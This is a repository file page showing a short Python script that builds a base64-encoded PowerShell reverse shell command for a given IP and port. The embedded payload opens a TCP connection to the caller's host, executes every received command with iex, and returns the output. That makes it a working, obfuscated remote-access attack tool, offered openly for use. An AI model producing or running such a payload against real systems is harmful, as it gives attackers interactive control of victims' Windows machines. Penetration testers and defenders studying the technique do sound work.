-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathreverse-powershell
More file actions
executable file
·22 lines (16 loc) · 1.01 KB
/
Copy pathreverse-powershell
File metadata and controls
executable file
·22 lines (16 loc) · 1.01 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/env python3
''' This script creates a base64 encoded powershell command that runs a powershell reverse shell '''
import sys
import base64
def help():
print("\nUsage: %s [IP] [PORT]" % sys.argv[0])
print("Returns a reverse shell PowerShell base64 encoded command connecting to IP:PORT\n")
exit()
try:
(ip, port) = (sys.argv[1], int(sys.argv[2]))
except:
help()
payload = '$client = New-Object System.Net.Sockets.TCPClient("%s",%d);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
payload = payload % (ip, port)
cmdline = "powershell -e " + base64.b64encode(payload.encode('utf16')[2:]).decode()
print(cmdline)